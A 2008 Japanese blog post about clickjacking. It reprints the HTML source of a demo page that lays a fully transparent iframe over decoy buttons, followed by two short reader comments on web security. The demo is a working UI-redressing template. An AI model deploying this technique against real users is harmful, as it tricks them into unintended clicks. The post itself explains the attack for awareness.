KENJI’S BLOG このページをアンテナに追加 RSSフィード

Freezed...

2008-12-03

Clickjacking

まっちゃ445でも話題にあがったclickjacking。

ブラウザに透明なフレームを貼付けて、ユーザーに意図しないリンクをクリックさせる攻撃方法

http://www.planb-security.net/notclickjacking/iframetrick.html

ソースコードは↓こんな感じ

<html>
<title>Real Clickjacking?</title>
<head>
<style>
span.fakebutton_1{background-color:red;font-weight:bold;font-size:12px;
	position:absolute;top:463px;left:365px;z-index:-10}
span.fakebutton_2{background-color:orange;font-weight:bold;font-size:12px;
	position:absolute;top:536px;left:400px;z-index:-10}
iframe.myspace{opacity:0;filter:alpha(opacity=0)}
div.demo_text{position:absolute;top:10px;left:10px;}
a.reveal{z-index:10;}
div.checkit{position:absolute;top:650px;left:10px;}
</style>
</head>
<body>
<br>
<h2>TEST</h2>
<a href="#really" class="reveal" onClick='getElementById("myspace").style.MozOpacity=0.4;
getElementById("myspace").filters.alpha.opacity=40;'>print</a><br>
<a href="#really" class="reveal" onClick='getElementById("myspace").style.MozOpacity=0;
getElementById("myspace").filters.alpha.opacity=0;'>unprint</a>

<iframe id="myspace" class="myspace" width=800 height=800 scrolling=no src="http://google.com/"></iframe>

<span class="fakebutton_1"><blink> Click 1 </blink></span>
<span class="fakebutton_2"><blink> now here... </blink></span>

<div class="checkit">
<script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." :
"http://www.");
document.write(unescape("%3Cscript src='" + gaJsHost +
"google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
</script>
<script type="text/javascript">
var pageTracker = _gat._getTracker("UA-5385225-2");
pageTracker._trackPageview();
</script>
</body>
</html>

iframeが透明表示でもちゃんとクリックできる。

スタイルシートでiframeの上に何かを表示させられるのが問題なのか? それともiframeを透明にできるのが問題なのか? 難しいところ。

YumanoYumano 2008/12/05 12:38 こないだのデモの元ネタはそれだったりします。
formjackingとかもあるし、難しいですよね。

kenjiaikokenjiaiko 2008/12/07 14:56 おおーそだったんすか(^^;
ブラウザの機能がどんどん進化する以上webセキュリティは終わりませんね…